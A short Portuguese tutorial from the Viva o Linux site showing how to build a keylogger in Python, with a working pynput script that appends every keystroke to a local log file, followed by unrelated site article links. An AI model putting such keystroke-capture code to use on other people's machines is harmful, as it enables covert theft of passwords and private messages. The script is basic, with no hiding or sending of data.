Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
[ Hits: 48.647 ]
Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev
#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener
#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"
def writeLog(key):
'''
Esta função será responsável por receber a tecla pressionada
via Listener e escrever no arquivo de log
'''
#converter a tecla pressionada para string
keydata = str(key)
#abrir o arquivo de log no modo append
with open(logFile, "a") as f:
f.write(keydata)
#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
l.join()
A trajetória do Viva o Linux - retrospectiva 2003/2004
Informativo: novos recursos no fórum
Enviando mensagens de WhatsApp no Linux usando Shell Script e ADB
Kernel ganha novos linters Rust e distros avançam com recursos de IA
Tasker - Como fazer um ANDROID falante
Integração do ChatGPT em uma API Python
Qu1cksc0pe - All-in-One Static Malware Analysis Tool
Robótica com Android e Arduino
Crie um bot para Telegram e gerencie a escala de plantonistas
RapidScan - Multi-Tool WEB Vulnerability Scanner
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Jogar games da Battle.net no Linux com Faugus Launcher
Como fazer a Instalação de aplicativos para acesso remoto ao Linux
Como fazer a instalação do Samba
Como fazer a conversão binária e aplicar as restrições no Linux
Pfsense inacessivel após um periodo de tempo (2)
Duas Pasta Pessoal Aparecendo no Ubuntu 24.04.3 LTS (39)









